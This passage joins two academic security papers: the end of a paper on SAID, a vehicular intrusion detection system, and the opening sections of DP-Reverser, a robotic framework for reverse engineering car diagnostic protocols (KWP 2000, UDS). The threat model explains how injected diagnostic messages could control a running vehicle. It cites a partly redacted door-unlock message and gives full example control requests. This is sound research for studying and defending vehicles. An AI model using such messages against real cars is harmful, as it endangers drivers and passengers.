tionship among the data collected from different layers for
attack defense. In future work, we will mine the implicit
and vehicle-specific relationships between the vehicle states
and the network/service layer traffic for defense. Also, SAID
mainly focuses on the known vehicle states and motions cur-
rently, and we will leverage machine learning to detect un-
known anomalies by combining multiple-layer information.

In addition, in this paper, we assume both software and
hardware of SAID are reliable. Due to the centralized na-
ture of SAID, we will use hardware security components and
visualization techniques to improve its security in practice.

8 Related Work

Vehicular State-Aware Defense: The statistical features of
CAN traffic have been used to detect abnormal IVN behav-
iors [64, 70–72]. For example, Müter et al. used the patterns
(e.g., frequency, consistency, and correlation) of CAN mes-
sages to detect abnormal behaviors [71]. Then, an entropy-
based approach was proposed to detect intrusions by measur-
ing the entropy of CAN messages [70]. Miller et al. detected
the suspicious IVN behaviors based on the distributions of
intervals between CAN messages [64]. Narayanan et al. ap-
plied the Hidden Markov Model to predict abnormal IVN
states based on specific in-vehicle information [72].
Physical State-Aware Defense: The physical control invari-
ant has been used to detect vehicular misbehaviors [31, 32,
79]. For instance, Cho et al. proposed to detect vehicle misbe-
haviors by comparing the real-time brake data with a norm
braking control model [31]. Afterward, Choi et al. applied
the control-invariant models to detecting the attacks against
robotic vehicles [32]. Then the framework SAVIOR leveraged
robust physical invariant to detecting and preventing signal
injection attacks [79]. Although SAID detects anomalies by
using models different from these works, its dynamics-based
defense also relies on the robust physical/dynamic invariant.
Machine Learning based Defense: The machine learning
models have been used to detect the injected IVN data. Olu-
fowobi et al. applied the adaptive cumulative sum algorithm to
detecting statistical changes and intrusions in CAN bus mes-
sage stream based on change-point detection techniques [77].

Moreover, Olufowobi et al. also presented a specification-
based IDS using the response time analysis of CAN [78]. Tay-
lor et al. used a Long Short-Term Memory neural network to
predict the next data word originating from each sender on
the bus and detect anomalies if a large deviation is found [87].
Kang et al. employed a deep neural network (DNN) to discrim-
inate normal and hacking packets [51]. The Hidden Markov
Model is also used to predict the abnormal vehicle states [73].
Timing-based Defense: Since each ECU has its specific tim-
ing features, researchers use such unique features to detect
abnormal CAN frames. A clock-based intrusion detection sys-
tem, named CIDS, is proposed to detect the abnormal CAN
frames. It extracts the clock skews from the frames as the
fingerprints of the ECUs and then models their clock behav-
iors [29]. To prevent the replay attack, Choi et al. presented a
method to identify ECUs using inimitable characteristics of
signals emitted from different ECUs [33]. To detect abnormal
frames at the physical layer, Xu et al. proposed a reinforce-
ment learning-based physical authentication scheme, which
checks CAN frames according to voltage patterns [98].
Comparison: Table 11 summarizes the major differences be-
tween SAID and the existing vehicular IDSs from various
aspects. First, the existing IDSs detect anomalies using only
one type of vehicular data, such as sensor, CAN frame, or
OBD-II message, and SAID detects attacks in multiple layers
(details in §3.2) using four types of vehicular data for defense;
Moreover, compared with the existing control/physical invari-
ant based anomaly detection approaches, SAID detects MIAs
leveraging three VD models along with the RB (Rule-based)
models; Since more types of data are utilized by SAID to
detect MIAs, it can detect more types of attacks than the ex-
isting IDSs; It is worth noting that the Choi et al. [32] and
Raul et al. [79] focus on detecting attacks on the robotic ve-
hicles leveraging the control/physical invariants. Although
SAID detects abnormal vehicle states using the specific vehi-
cle dynamics models, which are different from the laws used
by them, the dynamics-based defense capacity of SAID also
depends on the control/physical invariant of the vehicles. In
addition, SAID does not require to refit the vehicles for deploy-
ment and also has the capacity of preventing attacks; Also,
we evaluate SAID with different experiment environments,
including real cars, prototype systems, and simulations.

9 Conclusion

In this paper, we propose SAID, a new state-aware defense
system against vehicular MIAs. It employs the vehicle dy-
namics models to estimate the vehicle states with the context
information from both IVN and onboard sensors for defending
against the attacks aiming to cause abnormal vehicle motions.
Moreover, it exploits the eco/safe driving requirements and
auto insurance policies to build rule-based defense policies for
defending against more anomalies. SAID adopts a cross-layer
architecture and can detect abnormal CAN frames and diag-
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nostic messages at the network layer and service layer. The
various types of evaluation results show SAID can effectively
and efficiently detect various MIAs based on the rule-based
and dynamics-based defense policies.
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A Appendix

A.1 Defense Results of Simulations

We evaluate the defense performances of SAID when the
MIAs are launched by injecting various types of messages si-
multaneously. As shown in Table 9, we simulate 22 MIAs that
are launched under various initial vehicle states and through
injecting different messages. To evaluate whether SAID can
defend against these MIAs, we use SAID to protect the ve-
hicle from entering abnormal motions. The right column of
Table 9 presents the defense results and all abnormal motions
are prevented after SAID is applied.

A.2 Comparison with Exiting Vehicular IDS

We compare SAID with existing vehicular IDSs using the
public CAN bus dataset [46], and the results are shown in Ta-
ble 10. Note that existing IDSs do not consider the server layer
and state layer attacks, and their dataset just contains the net-
work layer attack traffic, including replay attack (a.k.a., spoof
attack and fabricate attack), DoS attack, and fuzzy attack. The
results show that apart from SAID none of the existing IDS can
identify all these injected malicious messages, because only
SAID considers context information. More precisely, exiting
IDSs are deployed in IVN and detect anomalies with the sta-
bility features of IVN traffic, such as intervals and sequences.
Hence, they cannot identify the injected abnormal messages
with normal traffic patterns. Also, the normal diagnostics may
cause false positives due to unusual IVN traffic patterns pro-
duced. In contrast, SAID is deployed between the IVN and
out-vehicle entities and detects anomalies considering both
the traffic features and the context information. Therefore,
when such abnormal diagnostic traffic is injected, SAID can
timely identify them according to their message IDs, which
can be only used by IVN messages.

Table 9: The defense results of various MIAs launched at high
and middle speed (i.e., 90 km/h and 60 km/h) as well as vari-
ous steering wheel angles (dw). 3 indicates SAID successfully
detected and prevented the abnormal vehicle motions.

Attack

Purpose

Initial state MIAs (Injected Messages) Defense

ResultVelocity Steering wheel Throttle Brake Steering wheel

Rollover

60 km/h 25� increase Na increase 3
60 km/h 25� Na increase increase 3
60 km/h 15� increase Na increase 3
60 km/h 15� Na increase increase 3
90 km/h 25� increase Na increase 3
90 km/h 25� Na increase increase 3
90 km/h 15� increase Na increase 3
90 km/h 15� Na increase increase 3

Under/
Oversteer

60 km/h 25� increase Na increase 3
60 km/h 25� Na increase increase 3
60 km/h 15� increase Na increase 3
60 km/h 15� Na increase increase 3
90 km/h 15� increase Na increase 3
90 km/h 15� Na increase increase 3

Side slip

60 km/h 25� increase Na increase 3
60 km/h 25� Na increase increase 3
60 km/h 15� increase Na increase 3
60 km/h 15� Na increase increase 3
90 km/h 25� increase Na increase 3
90 km/h 25� Na increase increase 3
90 km/h 15� increase Na increase 3
90 km/h 15� Na increase increase 3

Table 10: Comparison between the existing vehicular IDSs
(
p

and ⇥ indicate the IDS has or has no such an ability).

IDS
Network Layer Service

Layer

State

LayerDoS Replay Fuzzy

Muter et al.[70] ⇥ 0.9957 0.9996 ⇥ ⇥
0.9685 0.9546 0.9647 ⇥ ⇥

Gmiden et al.[42] ⇥ 0.9765 0.9912 ⇥ ⇥
Cho et al.[29] 0.4472 0.7063 0.3589 ⇥ ⇥
Kang et al.[51] 0.9647 0.9912 0.7517 ⇥ ⇥
Taylor et al.[87] 0.7818 0.9136 0.6365 ⇥ ⇥
Moore et al.[67] 0.9382 0.9663 0.9527 ⇥ ⇥
Marchetti et al.[60] 0.9616 0.8367 0.9819 ⇥ ⇥

Tomlinson et al.[88] 0.9714 0.8901 0.9744 ⇥ ⇥
⇥ 0.8462 0.8665 ⇥ ⇥

Stabili et al.[85] 0.9977 0.8481 0.952 ⇥ ⇥
Ohira et al.[76] 0.9924 0.8374 0.9508 ⇥ ⇥
SAID 1 1 1

p p

Table 11: Comparison with the existing vehicular IDSs on the exploited data, the type of detection algorithms, the target
attacks,the evaluation environments, the requirement of refitting, and the prevention capacity. RB, ML, PI, and VD indicate the
rule-based, machine-learning based, physical invariant and vehicle dynamics based detection approach, respectively. It is worth
noting that Choi et al. [32] and Raul et al. [79] focus on detecting attacks on the robotic vehicles.

IDS
Used data

Type Targets Evaluation environment Refit Prevention
Sensor CAN OBD UDS

Muter et al. [70] ⇥
p

⇥ ⇥ RB DoS, Spoof Real car
p

⇥
Gmiden et al. [42] ⇥

p
⇥ ⇥ RB DoS, Spoof Simulation

p
⇥

Cho et al. [29] ⇥
p

⇥ ⇥ RB DoS, Spoof Real car, Prototype, Simulation
p

⇥
Kang et al. [51] ⇥

p
⇥ ⇥ ML (DNN) Spoof Simulation

p
⇥

Taylor et al. [87] ⇥
p

⇥ ⇥ ML (RNN and LSTM) Spoof Simulation
p

⇥
Moore et al. [67] ⇥

p
⇥ ⇥ RB DoS, Spoof Real car

p
⇥

Marchetti et al. [60] ⇥
p

⇥ ⇥ RB Spoof, Fuzzy Real car
p

⇥
Tomlinson et al. [88] ⇥

p
⇥ ⇥ RB DoS, Spoof Simulation

p
⇥

Stabili et al. [85] ⇥
p

⇥ ⇥ RB Spoof, Fuzzy Real car, Simulation
p

⇥
Ohira et al. [76] ⇥

p
⇥ ⇥ RB DoS, Spoof, Fuzzy Simulation

p
⇥

Casillo et al. [24] ⇥
p

⇥ ⇥ ML (Bayesian) Spoof Simulation
p

⇥
Cho et al. [30] ⇥

p
⇥ ⇥ RB Spoof Real car, Prototype

p
⇥

Ganesan et al. [41]
p

⇥ ⇥ ⇥ RB Spoof Simulation
p

⇥
Wasicek et al. [93] ⇥ ⇥

p
⇥ ML (Bottleneck ANN) Spoof Real car

p
⇥

Narayanan et al. [73] ⇥ ⇥
p

⇥ ML (HMM) Spoof Real car
p

⇥
Choi et al. [32]

p
⇥ ⇥ ⇥ PI Signal Injection Robotic Vehicles

p p

Raul et al. [79]
p

⇥ ⇥ ⇥ PI Signal Injection Robotic Vehicles
p p

SAID
p p p p

RB and VD DoS, Spoof, Bus-off, Fuzzy,
OBD/UDS message injection Real car, Prototype, Simulation ⇥

p
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Abstract

In-vehicle protocols are very important to the security assess-
ment and protection of modern vehicles since they are used in
communicating with, accessing, and even manipulating ECUs
(Electronic Control Units) that control various vehicle compo-
nents. Unfortunately, the majority of in-vehicle protocols are
proprietary without publicly available documents. Although
recent studies proposed methods to reverse engineer the CAN
protocol used in the communication among ECUs, they can-
not be applied to vehicle diagnostics protocols, which have
been widely exploited by attackers to launch remote attacks.
In this paper, we propose a novel framework for automatically
reverse engineering the diagnostic protocols of vehicles by
leveraging professional diagnostic tools. Specifically, we de-
sign and develop a new cyber-physical system that uses a set
of algorithms to control a programmable robotics arm with
the aid of cameras to automatically trigger and capture the
messages of diagnostics protocols as well as reverse engineer
their formats, semantic meanings, and proprietary formulas
required for processing the response messages. We perform a
large-scale experiment to evaluate our prototype using 18 real
vehicles. It successfully reverse engineers 570 messages (446
for reading sensor values and 124 for controlling components).
The experimental results show that our framework achieves
high precision in reverse engineering proprietary formulas
and obtains much more messages than the prior approach
based on app analysis.

1 Introduction

In-vehicle protocols are very important to the security assess-
ment and protection of modern vehicles since they are used
in the communication between ECUs (e.g., CAN protocol) as
well as the accessing and manipulating ECUs (e.g., diagnostic
protocols). For example, the communication between ECUs
usually follows the ISO 11898 standard [18]. The diagnostic

∗The corresponding author.

protocols were designed for reading sensor values or control-
ling ECUs through the OBD port. For example, Keyword
Protocol 2000 (KWP 2000) [1, 5, 6] and Unified Diagnostic
Services (UDS) [8] are most widely used diagnostic proto-
cols. Although these standards define the low-level message
formats, the syntactic information and semantic meaning of
messages, as well as formulas for encoding the return values,
are usually defined by vehicle manufacturers and thus are
proprietary without publicly available documents.

Recent studies for reverse engineering in-vehicle protocols
focus on analyzing the CAN messages transmitted between
ECUs [48, 71]. Unfortunately, they cannot be applied to the
diagnostics protocols because they neither consider the trans-
mission layer protocol used to transmit high-level messages
that may span multiple CAN messages [20] nor recover the
proprietary formats and formulas. It is worth noting that di-
agnostics protocols have been widely exploited to launch
various attacks on vehicles. For example, Miller et al. [65]
send diagnostic messages through OBD port to kill engine
or control fuel gauge of the Ford and Toyota [65]. Other
examples include the attacks using diagnostic messages to
control Hyundai Sonata and Toyota Camry [9,10], BMW [14],
Jeep [66], Volkswagen [50].

CANHunter [83] inspects the apps of vehicle telematics
dongles to extract the messages sent by the apps. Although
it may collect some messages of diagnostics protocols, we
find in §4.6 that the majority of the collected messages be-
long to the well-documented OBD-II protocols [34] instead
of proprietary diagnostics protocols. The reason may be that
the telematics apps studied in [83] are mainly designed for
normal drivers, and thus they just read ordinary information
(e.g., speed, engine RPM) through the OBD-II protocols [34].
Moreover, CANHunter [83] focuses on driving the apps to
send request messages without reverse engineering the request
messages and the formulas required for processing response
messages. Therefore, even if a few telematics apps in [83]
send and receive messages of proprietary diagnostics proto-
cols, CANHunter does not reverse engineer them.

In this paper, to fill the gap, we propose a novel frame-
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work named DP-Reverser to reverse engineer vehicle diag-
nostic protocols automatically. We focus on KWP 2000 [12]
and UDS [26] because they have been widely used in most
vehicles. For example, UDS, which is derived from KWP
2000, has been used in all new ECUs from tier-1 suppliers
and is incorporated into other popular standards such as AU-
TOSAR [74, 84]. Although the standards define the low-level
message formats, the high-level information customized and
used by vehicle manufacturers is proprietary. For example, the
value and functionality of some fields in the request messages
are customized by the manufacturers. Moreover, proprietary
formulas are required to transform the data stored in the re-
sponse messages to meaningful values.

In particular, we observe that the ECUs of almost all mod-
ern vehicles can be accessed and even manipulated by certain
professional diagnostic tools. They can be either general di-
agnostic tools that can handle multiple kinds of vehicles e.g.,
[31] or special ones designed for a specific kind of vehicles
e.g., [72]. Moreover, it is not difficult to purchase or access
such tools since they are widely used by automobile 4S shops
and repair shops. By exploiting this observation, our frame-
work first drives professional diagnostic tools to generate
messages of diagnostic protocols and captures them. Then,
it uses a set of algorithms to reverse engineer the value and
functionality (i.e., semantic information) of target fields in
request messages as well as the proprietary formulas required
to process response messages.

The design and development of our framework need to ad-
dress several challenging issues. First, the implementation of
diagnostic tools is diverse, which can be roughly divided into
three categories, namely professional handheld diagnostic
equipments (e.g., [31, 36]), professional diagnostic software
running on a host (e.g., [37, 72]), and OBD based telematics
apps. Thus, the framework should be general for all exist-
ing diagnostic tools, extensible for incorporating new tools,
and automated for reverse engineering the diagnostic proto-
cols of a large number of vehicles. Moreover, professional
diagnostic tools usually adopt various security techniques to
prevent analysis and reverse engineering. For example, the
hardware and software of professional handheld diagnostic
equipments are usually carefully hardened and well protected
so that other programs or apps cannot be installed into them
and their firmware cannot be extracted. Second, vehicle man-
ufacturers define proprietary formulas to encode the actual
values of ECUs into the data in response messages. Thus,
the framework should be able to automatically reverse engi-
neer these proprietary formulas to recover the raw data into
meaningful values.

To solve the first challenge, we design and develop a new
cyber-physical system to automatically drive diagnostic tools
and collect the corresponding request and response messages
of diagnostic protocols. Specifically, it uses two cameras to
capture UI screenshots of the diagnostic tools and uses OCR
(Optical Character Recognition) algorithms [23] to extract the

sensor values and semantic information from the screenshots.
Moreover, it analyzes the UI screenshots to decide the optimal
movement strategy to instruct a programmable robotic arm
(i.e., robotic clicker) to click the diagnostic tools. In the mean-
time, it monitors the OBD port to capture all CAN frames and
associates them with the screenshots of the diagnostic tools.
To tackle the second challenge, we first extract the sensor
values from the UI video and associate them with the values
of sensor fields that are extracted from the recovered pay-
load of diagnostic messages. Then, we design an improved
genetic programming algorithm to infer the proprietary for-
mulas based on the extracted data.

We develop a prototype of DP-Reverser and conduct a
large-scale experiment to evaluate it using 18 real vehicles,
which come from 14 major manufacturers in six countries.
DP-Reverser successfully reverse engineered 570 messages
(446 for reading sensor values and 124 for controlling compo-
nents). Its precision of inferring the proprietary formulas of
UDS and KWP 2000 reaches 98.3%, which is much higher
than alternative algorithms, including the linear regression
(43.8%) and polynomial curve fitting (32.1%). By using 7
kinds of ECU signal values of the OBD-II protocol as the
ground truth, we find that the DP-Reverser achieves 100%
precision. Moreover, in order to compare the number of pro-
prietary formulas that can be extracted from professional
handheld diagnostic equipments and OBD based telematics
apps, we developed a new tool to analyze 160 telematics apps.
The result shows that only 3 apps include UDS/KWP 2000
formulas. Moreover, we conduct experiments with two real
vehicles to compare the information that can be reversed en-
gineered from professional diagnostic tools and that from
telematics apps. The results show that much more important
information about the diagnostic protocols can be obtained
from professional diagnostic tools.

In summary, our major contributions include:
• To the best of our knowledge, we propose the first CPS-
based framework, entitled DP-Reverser, for automatically re-
verse engineering vehicle diagnostic protocols from profes-
sional diagnostic tools.
• We develop a prototype of DP-Reverser with a focus on
two widely used diagnostic protocols (i.e., KWP 2000 and
UDS) after tackling several technical challenges, such as co-
ordinating the robotic arm, cameras, and diagnostic tools to
efficiently collect and process the messages of diagnostic
protocols, reverse engineering the proprietary formulas.
• We conduct a large-scale experiment to evaluate
DP-Reverser with 18 vehicles, 4 professional diagnostic
tools/software, and 160 telematics apps. We also develop
a new tool to analyze telematics apps for comparison. The ex-
perimental results show that it can accurately reverse engineer
the detailed information of the request and response messages
of diagnostic protocols. The source code of DP-Reverser and
the new tool for analyzing telematics apps will be released at:
https://github.com/yulele/DP-Reverser.
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2 Threat Model and Background

2.1 Threat Model

Fig. 1 shows a model of a modern vehicle [78]. The ECUs
of the vehicle are connected through bus systems. They can
handle the data collected from sensors or camera [53]. They
communicate with each other by using CAN frames [19] and
are connected to the gateway. The OBD port was designed
for On-board diagnostics (OBD), which refers to the vehicle’s
self-diagnostic and reporting capability [34]. The professional
diagnostic tools [31,36,37,72] connected to the OBD port can
send diagnostic messages to ECUs and receive response mes-
sages to read their values or even manipulate them. Aiming
at automatically reverse engineering the request and response
messages of diagnostics protocols, we only assume the avail-
ability of a target vehicle and a diagnostic tool that works for
the vehicle.

OBD 
port Central

Gateway

ECU

ECU
ECU

Domain Gateway Domain Gateway

ECU

ECU

ECU

Professional 
Diagnostic Tools

Figure 1: Communication system in the vehicle.

Our system and results can be used by both attackers and
defenders. On the one hand, to attack a vehicle, the attacker
can first rent a vehicle of the same type and then use our
system to reverse engineer the diagnostics protocols supported
by the vehicle. After obtaining the detailed information of
such messages, the attacker can inject such messages to the
target vehicle through vulnerable OBD-II dongles or T-Box or
other communication channels [10,65] in order to control the
vehicle or cause severe safety consequences. To demonstrate
it, we conduct an experiment with 4 real vehicles, including
BMW i3, Lexus NX300, Toyota Corolla, and Kia. We find
that all these diagnostic messages can trigger certain actions
even when the vehicle is running and thus cause safety issues.
For example, by sending the diagnostic message 40 05 30 11
00 ... 001 to Toyota Corolla, we can successfully unlock all
doors when the vehicle is running. Tab. 13 in Appendix lists
other reverse-engineered diagnostic messages used in this
experiment. On the other hand, third-party security solution
providers can benefit from our research because they need
the information of diagnostic messages to filter out injected
malicious diagnostic messages [54, 79, 81].

1Part of the messages is hidden to avoid being abused. This practice is
also applied to other diagnostic messages in this paper.

2.2 CAN message.
ECUs connected to the CAN bus use CAN frames to com-
municate with each other. According to the CAN 2.0 speci-
fication, each CAN frame contains one CAN ID and a data
field [45]. The CAN ID determines which ECU will process
the frame. A lower value of the CAN ID field indicates a
higher priority of the corresponding frame. The data field
contains up to 8-byte data. To send a long message with more
than 8-byte data, the sender relies on the transport/network
layer protocols (e.g., ISO 15765-2 [11], VW TP 2.0 [29]) to
split the long message into multiple CAN frames.

Table 1: OSI model of KWP 2000, UDS, and OBD-II

Application KWP 2000: UDS: OBD-II:
Session ISO 14230-3 [5] or 15765-3 [6] ISO 14229-2 [28] ISO-15031 [34]

Transport ISO 15765-2 [11] ISO 15765-2 [11] ISO 15765-2 [11]Network VW TP 2.0 [29]
Data Link
Physical K-Line: ISO 14230-1(2) [3, 4], CAN: ISO 11898 [18]

2.3 Diagnostic Protocols
OBD-II, KWP 2000, and UDS are the most popular diagnostic
protocols [13, 22]. Tab. 1 shows their OSI model. We do
not reverse engineer the OBD-II protocol because it is well-
documented. The SAE J1979 standard [7] defines the list of
services (i.e., modes), the parameter ids (i.e., PIDs) list of
each service, the formulas used to parse response messages,
and the diagnostic trouble codes [33, 35].

2.3.1 KWP 2000

Keyword Protocol 2000 is an on-board diagnosis protocol
compatible with both K-Line and CAN in-vehicle networking
systems [17]. KWP 2000 is widely used in vehicles manufac-
tured and sold in Europe. For K-Line based KWP 2000, the
physical, data link, and application layers are compatible with
ISO 14230 standard [2, 3, 5]. For CAN based KWP 2000, the
transport and application layer protocols are compatible with
ISO 15765-2 [11] and 15765-3 [6]. Volkswagen uses its own
transport layer protocol VW TP 2.0 [29].
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Figure 2: Request and positive response messages of the input
output control by local identifier service and input output
control by common identifier service of KWP 2000

Using KWP 2000, diagnostic tools can control an output
(actuator) of an electronic system of the vehicle through two
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services: input output control by local identifier service (id
0x30) [1, 5] and input output control by common identifier
service (id 0x2F) [1, 5], and read ECU signal values denoted
as ESV through the read data by local identifier service (id
0x21) [1]. When using KWP 2000 to control an output (ac-
tuator) of an electronic system, the diagnostic tool will send
a request message to the ECU [1]. If the request message is
successfully executed, the ECU will send a positive response
message to the diagnostic tool.

Fig. 2 shows the formats of the request message and posi-
tive response message. For the input output control by local
identifier service, the request message contains the service
id (0x30), the input output control local identifier (one byte),
and control option. The control option field shall include all
information required by the ECU’s output signal or actuator.
We use ECU Control Record (ECR) to represent the control
option. The positive response message contains the service id,
input output local identifier, and control status. For the input
output control by common identifier service, the format of
request and response messages are similar.

0

Request

Service
Id: 0x21

Local Id

1 0

Positive Response

Service
Id: 0x61

Local Id

1
ECU Signal 

Value

2 ŏ�Q

 #1 … #m

Figure 3: Request and positive response messages of the read
data by local identifier service of KWP 2000

When using KWP 2000 to read data from the vehicle, the
formats of the request and positive response messages are
displayed in Fig. 3. The request message contains one local
identifier. The positive response message contains 1 to m ECU
signal values(i.e., ESVs). One ESV in the response message
describes one kind of data in ECU (e.g., engine RPM, steer-
ing angle). It has three bytes. The first byte determines the
formula used to calculate the actual ECU signal value. We use
Ftype to represent it. The remaining two bytes are the values
used in the formula. We use X0 and X1 to represent them,
respectively. By combining these three bytes, the diagnostic
device/software calculates the real ESV.
Example. To turn on/off the light, the diagnostic tool sends
the request messages “30 15 00 40 00” and “30 15 00 00
00” to the Main Body Control ECU, respectively [65]. To
obtain the engine RPM, the diagnostic tool sends the request
message “21 07” to the engine. Then, it receives a response
message containing the ESV “01 F1 10”. The formula type is
0x01. The corresponding formula is X0 ∗X1/5. As the value
of X0 is 0xF1 (i.e., 241) and the value of X1 is 0x10 (i.e., 16),
the actual ESV is 771.2 /min (i.e., 242*16/5).
Target of reverse engineering KWP 2000. We aim at three
kinds of information that is not defined in the standard of
KWP 2000, including (1) the value of local id and its semantic
information; (2) the semantic information of ECR; (3) the
corresponding formula used to transform ESV in the response

message to actual ESV.

2.3.2 UDS

Unified Diagnostic Services is a diagnostic protocol that com-
bines the K-Line based and CAN based KWP 2000 [26, 27].
Compared with KWP 2000, UDS supports more bus systems,
such as CAN, CAN-FD, LIN [12]. The ISO 14229 standard
lists 26 kinds of UDS services and the message formats of
each service [27]. Using UDS, diagnostic tools can control ac-
tuator of an electronic system through the IO control service
(id 0x2F) or read ESV by using the Read Data By Identifier
service (id 0x22) [26]. The standard defines the formats of
the request and response messages of these two services.
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Service Id 
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1 2 3
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4 ŏ�Q

Control Option 
Record

Positive 
Response

Figure 4: Request and positive response messages of UDS IO
control service.

To control the actuator of an electronic system, the diag-
nostic tool first sends a request message to the ECU. After
receiving the request message, the ECU will rely with a re-
sponse message. Fig. 4 shows the formats of the request and
positive response messages. The request message contains
four parts: 1 byte service id (i.e., 0x2F), 2 bytes data identifier
(DID), control option record (1 or more bytes), and Control
Enable Mask Record (optional). The response message starts
with 0x6F (positive response) or 0x7F (negative response).
The data identifier (DID) specifies the actuator to be con-
trolled. The control option record includes all information
required by the actuator. We use ECU Control Record (ECR)
to represent the control option record.

Request

Service Id
0x22

1 2 3

Positive Response

Service Id
0x62

Data

1 2 3 4 ŏ�Q
Data 

Identifier

Data
Identifier

Figure 5: Request and the positive response messages of UDS
Read Data By Identifier service.

For the Read Data By Identifier service, the formats of
request and response messages are shown in Fig. 5. The re-
quest message contains one or more DIDs. The length of each
DID is two-byte. The response message contains one or more
ESVs. When parsing the response message, the diagnostic
device employs proprietary formulas to transform the ESV in
the message to actual ESV.
Example When testing the fog lights on the left hand, to
light up the lights for 5 seconds, the diagnostic tool sends the
request message “2F 09 50 03 05 01 00 00”. The DID is
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0x0950 and the ECR is “03 05 01 00 00”. To read the speed
of the vehicle (DID 0xF40D), the diagnostic tool sends the re-
quest message ‘22 F4 0D” to the engine. Then, it receives the
response message “62 F4 0D 21”. The ESV in the response
message is 0x21 (i.e., 33). According to the formula X ∗1.0,
the actual speed is 33 km/h (i.e., 33∗1.0 = 33.0).
Target of reverse engineering UDS. We aim at three kinds
of information that is not defined in the standard but used for
controlling the vehicle components or reading ESV, including
(1) the value of DID and the corresponding semantic infor-
mation that specifies the component to be controlled or the
type of ESV to be read. (2) the semantic information of ECR.
(3) the formulas used when transforming ESV in response
message to actual ESV.

2.4 Vehicle diagnostic tools

According to the platforms running the diagnostic software,
the vehicle diagnostic tools available on the market can be
roughly divided into three categories (More details in §9.1).
(1) Professional handheld diagnostic equipment. It con-
tains both the hardware and software used to perform the diag-
nostic services. Users can connect the equipment to a vehicle
and read the results shown on the equipment’s screen [36,80].
(2) Professional diagnostic software. It usually runs on a
laptop. After connecting the laptop to a vehicle, users can
read the result shown on the software’s UI [72].
(3) OBD based telematics app. They usually run on a mo-
bile phone that connects to a diagnostic device plugged into
the OBD port via wireless channel (e.g., bluetooth, WIFI).

We use professional diagnostic tools to represent (1) pro-
fessional handheld diagnostic equipment and (2) professional
diagnostic software in the following part of this paper.

3 System Design

Fig. 6 (a) shows the architecture of DP-Reverser. The diag-
nostic tool is connected to the vehicle. The data collection
module described in §3.1 collects the diagnostic messages
and captures the video of the UI of the diagnostic tool, which
will be used as the input of reverse engineering.

As a cyber-physical system [57], the data collection module
includes three layers. At the sensor/actuator layer, it has one
robotic clicker (i.e., actuator) to click the diagnostic tool’s
screen. It also has two cameras: camera a captures the screen-
shots of the diagnostic tool to guide the robotic clicker and
camera b records the video of the UI of the diagnostic tool for
reverse engineering. At the communication layer, camera a
sends the screenshots to a laptop via a USB connection. The
laptop also uses a USB connection to send the latest control
scripts to the actuator. The application layer is a laptop that
analyzes the screenshots taken by camera a and generates
the control scripts to control the robotic clicker. When the

data collection module is working, we sniff the CAN frames
exchanged between the diagnostic tool and the vehicle.

The diagnostic frames analysis module described in §3.2
receives the CAN frames generated by the diagnostic tool.
Since one CAN frame may contain partial payload of the diag-
nostic protocols, this module first assembles the payload and
then extracts the fields from request and response messages.
The screenshot analysis module described in §3.3 takes in the
video of UI and then extracts the texts shown on UI.

Finally, the request message analysis module described
in §3.4 associates the local identifier fields and DID fields
customized by vehicle manufacturers with the text shown on
UI to determine their functionality (i.e., semantic information).
The response message analysis module described in §3.5 uses
the ESV stored in response messages and the actual values
shown on UI as input. It recovers the formulas used to parse
response messages.

3.1 Data Collection
Since diagnostic tools are usually well protected and we can-
not install any other programs into them to control or extract
their firmware, we leverage a robotic clicker to interact with
them so that the CAN messages and UI video can be recorded
automatically. Note that our approach is independent of diag-
nostic tools and can be applied to various diagnostic tools in
order to automatically reverse engineer the diagnostic proto-
cols of a large number of vehicles.

Fig. 6 (b) shows the procedure of the data collection mod-
ule. By using camera a to capture the screenshot of the UI, the
UI analyzer identifies the ECUs or ESVs that will be tested.
Here, test means the diagnostic tool reads ESV or controls the
component over a period of time. The (X,Y) coordinates of
these ECUs/ESVs are sent to the planner, which will estimate
the total moving distance of different sequences of clicking.
The planner will select the sequence with the shortest path
and send it to the script generator that transforms the clicking
sequence to a script and inserts waiting times between click-
ing. The script executor and logger run the script and record
the detail of each clicking. When the diagnostic tool shows a
new GUI, camera a will take a new picture and send it to the
UI analyzer to continue the data collection.

The robotic clicker is a hardware that controls a stylus pen
to click the screen according to the specified (X, Y) coordi-
nates. Since the stylus pen can only move straight along the
coordinate axis with fixed speed, we determine the optimal
clicking sequence with the least moving distance to reduce
the time of data collection.
UI Analyzer. It inspects the texts shown on UI and outputs the
(X, Y) coordinates to click. To achieve this goal, we leverage
computer vision techniques (CV) [47] to first locate the areas
with text from the figure and then filter out irrelevant areas
according to the text information in them.

More precisely, given a picture of the UI, identifying the
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Figure 6: System Overview (a) and Data Collection Steps (b)

areas with text is a “Text Detection” task in CV. We use the
open-source text detector “EAST” [39] to accomplish it be-
cause EAST can process 13 pictures per second and achieves
high text detection accuracy. After identifying the areas with
text, the UI analyzer checks the text content of each area to
filter out the areas that are not our target (e.g., “clear trouble
codes”). This is an “OCR” (i.e., “Optical Character Recogni-
tion”) task. We use Tesseract, one of the most popular open-
source OCR engines [56, 67, 75, 77] to accomplish it, because
Tesseract has a new neural net (LSTM) based OCR engine
that can recognize more than 100 languages and its word er-
ror rate is only 6.4% for English and 6.29% for Chinese [76].
If the text recognized by OCR contains the keywords (e.g.,
“Read Data Stream”), the robotic clicker will click this area.

If some buttons do not contain text, our system recognizes
them by exploiting the similarity of UI widgets. In detail,
for each screenshot of the UI, we first identify all widgets
in it. Then, we identify the widgets with/without text from
the screenshot seperately since we cannot perform static or
dynamic analysis on the diagnostic tools to extract the wid-
gets from UI. The widgets with text are identified by using
Tesseract [24]. The widgets without text are identified by us-
ing Canny edge detection [43,69]. To identify the buttons, we
calculate the similarity between each extracted widget and
the pictures of pre-defined buttons by referring [86]. If this
similarity is higher than a pre-defined threshold, we guide the
robotic clicker to click it.
Planner. After receiving a set of ECUs/ESVs to click, the
planner tries to determine the optimal clicking sequence with
the least moving distance. We formalize it as a travelling
salesman problem [38,70]. That is, given a set of ESVs on UI
and the distance between each pair of ESVs, the planner looks
for the shortest route that visits each ESV exactly once and
returns to the origin ESV. Since it is an NP-hard problem in
combinatorial optimization, we approach it by using heuristic
approach [73]. In particular, after getting the picture of the
UI, we first calculate the distance between a pair of ESVs and
then run the nearest neighbor algorithm [55] to determine
the sequence of clicking. The nearest neighbor algorithm is
a heuristic algorithm that can obtain good solutions without
guaranteeing that the optimal solution will be found. However,

it is much faster than brute-force approach [59]. We compared
the time cost of using the nearest neighbour algorithm to select
14 ESVs on UI with that of randomly selecting 14 ESVs on
UI. The result shows that, compared with random selection,
the nearest neighbor algorithm saves 7.3% time of moving
(i.e., (80.45-74.6)/80.45).
Script Generator. After getting the sequence of clicking
